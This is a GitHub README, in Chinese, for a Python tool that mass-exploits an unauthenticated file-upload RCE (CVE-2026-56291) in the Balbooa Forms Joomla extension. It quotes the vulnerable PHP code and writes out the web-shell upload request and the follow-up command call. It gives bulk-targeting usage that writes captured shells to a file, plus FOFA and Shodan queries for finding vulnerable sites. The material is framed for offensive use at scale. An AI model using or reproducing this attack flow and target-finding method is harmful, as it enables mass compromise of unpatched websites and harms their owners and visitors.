shinthink/CVE-2026-56291
GitHub: shinthink/CVE-2026-56291
针对 Joomla Balbooa Forms 组件未认证文件上传导致 RCE 漏洞(CVE-2026-56291)的 Python 批量利用工具。
Stars: 0 | Forks: 0
CVE-2026-56291 — Balbooa Forms Joomla 大规模 RCE 漏洞利用
Pre-Auth form.uploadAttachmentFile → 无 CSRF → PHP 文件上传
## 概述 **CVE-2026-56291** 是 **Balbooa Forms** (com_baforms) Joomla 扩展 (< 2.4.1) 中的一个严重 (CVSS 9.8) 的未经身份验证的任意文件上传漏洞。 `form.uploadAttachmentFile` 前端任务没有调用 `Session::checkToken()` 或执行任何权限检查。上传的文件直接使用了攻击者提供的扩展名:`$fileName = $name . '.' . $ext`。文件被保存在 `images/baforms/uploads/form-{id}/` 目录下 —— 可以直接作为 PHP 执行。 ### 受影响版本 | 版本 | 状态 | |---|---| | 1.0 – 2.4.0 | 存在漏洞 | | 2.4.1+ | 已修复 | ## 漏洞机制 ### 根本原因 ``` // FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122) // No Session::checkToken(), no permission check, no extension whitelist $fileName = $name . '.' . $ext; // attacker's extension used directly $filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName; move_uploaded_file($tmpFile, $filePath); ``` ### 攻击流程 ``` POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json file = shell.php (multipart) → Saved to images/baforms/uploads/form-1/shell.php → https://target.com/images/baforms/uploads/form-1/shell.php?c=id → RCE ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-56291.git cd CVE-2026-56291 pip install -r requirements.txt ``` ## 使用方法 ``` python cve_2026_56291.py -t target.com python cve_2026_56291.py -f targets.txt -o shells.txt python cve_2026_56291.py -t target.com --debug python cve_2026_56291.py -t target.com --no-cleanup ``` ## FOFA / Shodan ``` FOFA: body="com_baforms" Shodan: http.html:"baforms" ``` ## 参考 | 资源 | 链接 | |---|---| | CISA KEV | [cisa.gov/known-exploited-vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) | | 修复详情 | [mysites.guru](https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/) | | 研究员 | Phil Taylor |与 Balbooa 无关联。
标签:CISA项目, Joomla, Python, 无后门, 未授权上传, 编程工具, 远程代码执行, 逆向工具